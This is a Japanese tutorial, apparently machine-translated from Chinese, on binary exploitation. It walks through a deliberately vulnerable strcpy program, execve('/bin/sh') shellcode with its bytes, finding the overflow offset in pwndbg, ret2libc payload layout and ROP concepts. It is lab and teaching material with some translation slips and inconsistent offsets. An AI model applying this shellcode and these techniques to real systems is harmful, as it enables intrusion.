PWNツールコレクション
- ジオフレームワーク
- インターフェースはシンプルで使いやすい
- https://github.com/zTrix/zio
- Pwntools
- Pwnフレームワークは、シェルコード生成、ROPチェーン生成などの多くのツールを統合します。
- http://pwntools.com/
- https://github.com/gallopsled/pwntools
- peda / pwndbg-gdbデバッグプラグイン
- libheap
スタックオーバーフローを悪用する
BOEプログラムの例:
#include<stdio.h>
#include<string.h>
int main(int argc,char **argv){
char buf[128];
if (argc<2) return 1;
strcpy(buf,argv[1]);
printf("argv[1]:%s\n",buf);
return 0;
}
最初のエクスプロイトケースとして、スタック非実行可能ファイルとスタックカナリアの保護オプションを有効にしません
argcは、コマンドラインパラメーターの数です。
argv [0]はプログラム名の文字列自体、argv [1]は最初のパラメータなどです。
コンパイルコマンドは次のとおりです。
gcc -z execstack -fno-stack-protector bof.c -o bof -m32
分析:
プログラムはコマンドラインから最初のパラメーター入力を受け取ります。このパラメーターが長すぎると、strcpyはスタック上のバッファーbufをオーバーフローします。
高いアドレス | char ** argv |
---|---|
int argc | |
差出人住所 | |
保存された%ebp | |
低いアドレス | char buf [128] |
- スタックはメモリ内で上位アドレスから下位アドレスに増加します
- ローカル変数charは下位アドレスから上位アドレスに増加します
文字列パラメータが長すぎると、次のように表示されます。
高いアドレス | char ** argv |
---|---|
int argc | |
buf [132〜135] | |
buf [128〜131] | |
低いアドレス | buf [0〜127] |
戻りアドレスの後にシェルコードを配置し、戻りアドレスを上書きしてシェルコードにジャンプできます。
高いアドレス | シェルコード |
---|---|
シェルコード | |
シェルコードアドレス | |
buf [128〜131] | |
低いアドレス | buf [0〜127] |
payload : padding1 + address of shellcode + shellcode
リターンアドレスをアドレスで上書きする方法があるjmp esp
ため、シェルコードがjmp esp
指示に従っている限り、特定のシェルコードアドレスの特定のアドレスについて心配する必要はありません。
高いアドレス | シェルコード | |
---|---|---|
シェルコード | ||
シェルコードアドレス | jmp esp | |
buf [128〜131] | ||
低いアドレス | buf [0〜127] |
payload : padding1 + address of jmp esp + shellcode
シェルコード
手書き
まず、execve関数のプロトタイプを見てください。
int execve(const char *filename,char *const argv[],cahr *const envp[])
64ビットでの手書きのシェルコードコード
xor %eax,%eax
pushl %eax
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
cltd
movb $0xb,%al
int $0x80
ここでeaxは0なので、cltdはedxを0に設定するのと同じです。
上記のコードの効果は
execve("/bin/sh",null,null)
Syscall呼び出し規約
- システムコール番号:%eax = 0xb
- 最初のパラメーター:%ebx = filename
- 2番目のパラメーター:%ecx = argv
- 3番目のパラメーター:%edx = envp = 0
- 4番目のパラメーター:%esi
- 5番目のパラメーター:%edi
- 6番目のパラメーター:%ebp
テスト
インラインアセンブリテストで記述されたシェルコード。アセンブリコードを直接コンパイルするためにアセンブラを使用することもできます。
void shellcode()
{
_asm_(
"xor %eax,%eax\n\t"
"pushl %eax\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"movl %esp,%ebx\n\t"
"pushl %eax\n\t"
"pushl %ebx\n\t"
"movl %esp,%ecx\n\t"
"cltd\n\t"
"movb $0xb,%al\n\t"
"int $0x80\n\t"
)
}
int main(int argc,char **argv)
{
shellcode();
return 0;
}
エキス
テストコードから分解されたマシンコードを抽出します
objdump -d shellcode
シェルコード命令のマシンコードを抽出します
SHELLCODE = "
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b \xcd\x80
"
したがって、上記のコードは次のように書き直すこともできます。
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b \xcd\x80";
int main(int argc,char **argv)
{
void(*f)()=(void(*)())shellcode;
f();
return 0;
}
コードでは、シェルコードはグローバル文字配列に格納され、.dataセクションに属します。コンパイラはデフォルトで実行可能ではありません。オプション-z execstackを追加する必要があります。これは、stack / heap / dataセクションが実行可能であることを意味します。 。
スタックオーバーフローの悪用手順
- リターンアドレスをカバーできるバッファ長を見つける
- シェルコードを入力し、シェルコードのアドレスを見つけます
- リターンアドレスをシェルコードアドレスに上書きします
塗りつぶしの長さを見つける
手動で検索
リターンアドレスを正確にカバーするために、最初にバッファの先頭からスタック上のリターンアドレスまでの距離を調べる必要があります。最初にバッファの先頭にあるアドレスを見つけ、次にリターンアドレスの場所を見つけ、次に2つを減算します。バッファの先頭にあるアドレスを見つけるために、strcpyの最初のパラメータを調べることにより、strcpyを呼び出す前にブレークポイントを設定できます。また、main関数が戻る前に中断することができます。このとき、espは戻りアドレスの場所を指します。
次に、上記のサンプルプログラムを例として取り上げます。
syc@ubuntu:~/Desktop/test$ gdb -q --args bof AAAA
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bof...(no debugging symbols found)...done.
pwndbg> r
Starting program: /home/syc/Desktop/test/bof AAAA
argv[1]:AAAA
[Inferior 1 (process 3282) exited normally]
pwndbg> disassemble main
Dump of assembler code for function main:
0x5655554d <+0>: lea ecx,[esp+0x4]
0x56555551 <+4>: and esp,0xfffffff0
0x56555554 <+7>: push DWORD PTR [ecx-0x4]
0x56555557 <+10>: push ebp
0x56555558 <+11>: mov ebp,esp
0x5655555a <+13>: push ebx
0x5655555b <+14>: push ecx
0x5655555c <+15>: add esp,0xffffff80
0x5655555f <+18>: call 0x56555450 <__x86.get_pc_thunk.bx>
0x56555564 <+23>: add ebx,0x1a70
0x5655556a <+29>: mov eax,ecx
0x5655556c <+31>: cmp DWORD PTR [eax],0x1
0x5655556f <+34>: jg 0x56555578 <main+43>
0x56555571 <+36>: mov eax,0x1
0x56555576 <+41>: jmp 0x565555b1 <main+100>
0x56555578 <+43>: mov eax,DWORD PTR [eax+0x4]
0x5655557b <+46>: add eax,0x4
0x5655557e <+49>: mov eax,DWORD PTR [eax]
0x56555580 <+51>: sub esp,0x8
0x56555583 <+54>: push eax
0x56555584 <+55>: lea eax,[ebp-0x88]
0x5655558a <+61>: push eax
0x5655558b <+62>: call 0x565553e0 <strcpy@plt>
0x56555590 <+67>: add esp,0x10
0x56555593 <+70>: sub esp,0x8
0x56555596 <+73>: lea eax,[ebp-0x88]
0x5655559c <+79>: push eax
0x5655559d <+80>: lea eax,[ebx-0x1994]
0x565555a3 <+86>: push eax
0x565555a4 <+87>: call 0x565553d0 <printf@plt>
0x565555a9 <+92>: add esp,0x10
0x565555ac <+95>: mov eax,0x0
0x565555b1 <+100>: lea esp,[ebp-0x8]
0x565555b4 <+103>: pop ecx
0x565555b5 <+104>: pop ebx
0x565555b6 <+105>: pop ebp
0x565555b7 <+106>: lea esp,[ecx-0x4]
0x565555ba <+109>: ret
End of assembler dump.
通話strcpy
とret
指示のブレークポイント
pwndbg> b *0x5655558b
Breakpoint 1 at 0x5655558b
pwndbg> b *0x565555ba
Breakpoint 2 at 0x565555ba
デバッグを開始します
pwndbg> r AAAA
Starting program: /home/syc/Desktop/test/bof AAAA
Breakpoint 1, 0x5655558b in main ()
► 0x5655558b <main+62> call strcpy@plt <0x565553e0>
dest: 0xffffced0 ◂— 0x0
src: 0xffffd1fd ◂— 'AAAA'
pwndbg> x/wx $esp
0xffffcec0: 0xffffced0 0xffffd1fd
//分别是strcpy的两个参数,第一个参数即为目标缓冲区0xffffced0
pwndbg> c
Continuing.
argv[1]:AAAA
Breakpoint 2, 0x565555ba in main ()
pwndbg> x/wx $esp
0xffffcf6c: 0xf7df4e81
pwndbg> p/d 0xffffcf6c - 0xffffced0
$1 = 156
- 最初のブレークポイントで、バッファの開始アドレスは0xffffced0であることがわかります。
- 2 2番目のブレークポイントで、バッファの開始アドレスが0xffffcf6cであることを確認します。
- 2つを引くと、オーバーフローが140バイトを超えるとリターンアドレスが上書きされることがわかります。
pwntools之環状
循環パターンは非常に強力な関数です。おそらく、pwntoolsを使用してパターンを生成し、patternは文字列を参照し、一部のデータから文字列内でそれを見つけることができることを意味します。
スタックオーバーフローの問題が完了したら、patternを使用すると、オーバーフローポイントの計算にかかる時間を大幅に短縮できます。
使用法:
cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161) # 找到该数据在pattern中的位置
cyclic_find('aaaa') # 查找位置也可以使用字符串去定位
たとえば、スタックがオーバーフローした場合、最初にサイクリック(0x100)またはより長いパターンを作成して入力します。入力後、pcの値が0x61616161に変更された後、Cyclic_find(0x61616161)からバイトを取得できます。 )多くの不要な計算を回避して、PCレジスタの制御を開始しました
Libcに戻る
スタックオーバーフローが発生した場合、シェルコードにジャンプするのではなく、libcの関数にジャンプします。
シンプルな機能
システム機能を例にとったスタックレイアウト
0 | |
---|---|
「/ bin / sh」 | |
出口 | |
アドレスを返す | システム |
パディング |
システムが戻ると、スタック上の対応する戻りアドレスはexit()関数であり、exit(0)が実行されるため、次の実行と同等です。
system("/bin/sh")
exit(0)
簡単に言えば:
- system()とexit()の関数アドレスを取得します
- 「/ bin / sh」の文字列アドレスを取得します
- オーバーフロー負荷を構築する
- システム+終了+「bin / sh」+0
- 実験はASLRをオフにして実行され、libc関数のアドレスは固定されています。
system()とexit()の関数アドレスを取得します
- GDBで直接printコマンドを使用して表示できます
pwndbg> print system
$1 = {
int (const char *)} 0xf7e19200 <__libc_system>
pwndbg> p exit
$2 = {
void (int)} 0xf7e0c3d0 <__GI_exit>
「/ bin / sh」の文字列アドレスを取得します
glibcには文字列「/ bin / sh」が必要です。GDBでfindコマンドを使用して、libcのメモリ範囲を検索できます。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0 /home/syc/Desktop/test/bof
0x56556000 0x56557000 r-xp 1000 0 /home/syc/Desktop/test/bof
0x56557000 0x56558000 rwxp 1000 1000 /home/syc/Desktop/test/bof
0xf7ddc000 0xf7fb1000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb1000 0xf7fb2000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb4000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb4000 0xf7fb5000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb8000 rwxp 3000 0
0xf7fd0000 0xf7fd2000 rwxp 2000 0
0xf7fd2000 0xf7fd5000 r--p 3000 0 [vvar]
0xf7fd5000 0xf7fd6000 r-xp 1000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
pwndbg> find /b 0xf7ddc000, 0xf7fb5000,'/','b','i','n','/','s','h',0
0xf7f5a0cf
1 pattern found.
pwndbg> x/s 0xf7f5a0cf
0xf7f5a0cf: "/bin/sh"
0xf7ddc000はlibcの開始アドレス、0xf7fb5000は終了アドレスです
アドレスを取得する別の方法
syc@ubuntu:~/Desktop/test$ ldd bof
linux-gate.so.1 (0xf7eff000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d03000)
/lib/ld-linux.so.2 (0xf7f00000)
syc@ubuntu:~/Desktop/test$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
...
1510: 0003d200 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
syc@ubuntu:~/Desktop/test$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
...
147: 000303d0 33 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
...
syc@ubuntu:~/Desktop/test$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
17e0cf /bin/sh
syc@ubuntu:~/Desktop/test$ gdb -q
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> p/x 0xf7d03000 + 0x0003d200
$1 = 0xf7d40200
pwndbg> p/x 0xf7d03000 + 0x000303d0
$2 = 0xf7d333d0
pwndbg> p/x 0xf7d03000 + 0x017e0cf
$3 = 0xf7e810cf
- 最初にlddコマンドを使用してlibcベースアドレスを取得します
- 次に、readelfコマンドを使用して、システムのオフセットを見つけ、libcの関数を終了します。
- 文字列コマンドを使用して、libc内の文字列/ bin / shのオフセットを検索します
- 最後に、最終的なアドレスは、libcベースアドレスに追加することによって取得されます
「/ bin / sh」のアドレスに改行文字0aが含まれていて、argv [1]が改行文字によって切り捨てられる場合があります。解決策:「sh \ 0」を使用してください。
コマンド文字列を置き換えることができます。一般的に、/ binディレクトリはすでにPATH環境変数に含まれているため、「sh」文字列を見つけて、そのアドレスをsystem()関数のパラメータとして使用するだけで済みます。
プログラム自体のスペースで文字列「sh」を検索し、findコマンドを使用することもできます。
pwndbg> find /b 0xf7ddc000, 0xf7fb5000, 's','h',0
0xf7deacd3
0xf7dead32
0xf7debe59
0xf7dec4ac
0xf7dee4f6
0xf7dee5d3
0xf7deee85
0xf7def172
0xf7f573b5 <__re_error_msgid+117>
0xf7f57dc1 <afs.8574+193>
0xf7f5a0d4
0xf7f5bacd
12 patterns found.
pwndbg> x/s 0xf7deacd3
0xf7deacd3: "sh"
PLTに戻る
- 動的共有ライブラリのアドレスランダム化保護がオンになっている場合、libcアドレスを知ることはできません
- プログラムで参照されているダイナミックライブラリ関数は、実際のアドレスを知らなくても、PLTを介して直接呼び出すことができます。
Libcへの復帰を再考する
- Return to Libcを使用して、system( "/ bin / sh")とexit(0)を呼び出しました。
- system()関数とexit()関数は、基本的にret命令で終わるコードスニペットです。
- retの最後にある他のコードスニペットはどうですか?たとえば、いくつかの命令で構成される小さなコードフラグメント。それは同様に実行可能です!
ROP(リターン指向プログラミング)
- ROPと呼ばれるret命令で終わるコードフラグメントをスプライシングすることによって特定の機能を実装するテクノロジー
- ret命令で終わる小さなコードは、ROPガジェットと呼ばれます。例:pop edx; ret
- 特定の機能によってスプライスされた複数のROPガジェットを実現するために、それをROPチェーン(ROPチェーン)と呼びます
- ROPチェーンの実行に使用されるスタック(リターンアドレスから開始)に入力されたデータは、ROPペイロード(ROPペイロード)と呼ばれます。
- ROPテクノロジーはReturnto libcの拡張であり、Return to libcはROPの特殊なケース、つまりROPガジェットがたまたまlibcの関数である場合です。
ROP-JOP、COPの拡張
- 薬を変えずにスープを変え、使用したコードスニペットをretの終わりからjmp / callの終わりまで拡張します
- JOP(ジャンプ指向プログラミング)
- ポップ結果; jmp dword [esi-0x70]
- COP(呼び出し指向プログラミング)
- mov edx、dowrd [esp + 0x48]; dowordを呼び出す[eax + 0x10]
ROPガジェット検索ツール
- ROPGadget
- https://github.com/JonathanSalwan/ROPgadget
- rp
- https://github.com/0vercl0k/rp
- ropper
- https://github.com/sashs/Ropper
- xrop
- https://github.com/acama/xrop